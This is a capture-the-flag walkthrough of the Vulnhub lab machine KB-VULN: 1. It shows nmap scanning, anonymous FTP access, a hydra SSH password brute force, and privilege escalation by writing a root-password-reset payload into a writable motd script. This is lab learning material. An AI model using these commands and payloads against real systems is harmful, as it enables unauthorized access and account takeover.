KB-VULN:1 - Walkthrough [Vulnhub]
Here's my solution for KB-VULN: 1.
The machine can be downloaded from here.
Nmap
Scanning for all TCP Ports.
$ nmap -sC -sV -p- 192.168.1.108

We find 3 ports open.
Enumeration
Browsing the web and checking the source reveals us a hint- Username : sysadmin

From the nmap's output we see that the ftp, allows anonymous login.
$ ftp 192.168.1.108
Name: anonymous
Password: anonymous
We find a hidden file- .bash_history, lets get this.

Viewing the contents of file- .bash_history.
$ cat .bash_history

We keep this as hint, which can be used in further stages.
We known, while checking the source of the web page, we got the hint for the user name as- sysadmin, we can brute force ssh.
$ hydra -l sysadmin -P /usr/share/wordlists/rockyou.txt 192.168.1.108 ssh
We get the password as- password1
Getting Access
Accessing ssh.
$ ssh sysadmin@192.168.1.108
Password: password1

Privilege Escalation
Before while accessing the ftp, we found a file- bash_history, which has interesting entries.

The motd, stands for- message of the day, which is used to display/communicate any useful information to the user after a successful login.
We check the permissions on the file- 00-header.
$ cd /etc/update-motd.d
$ ls -la

The file belongs to user- root, since we have full permission on it, we place the payload to change the password for user- root to password.
$ nano 00-header
We enter the payload as- echo "root:password" | sudo chpasswd and save it.
Lets review the changes made to the file, and we logout.
$ cat 00-header
$ logout

We login again, the motd (message of the day) runs again but this time with our payload.
$ ssh sysadmin@192.168.1.108
Password: password1

We switch to user- root.
$ su root
Password: password

Root Flag.

Comments
Post a Comment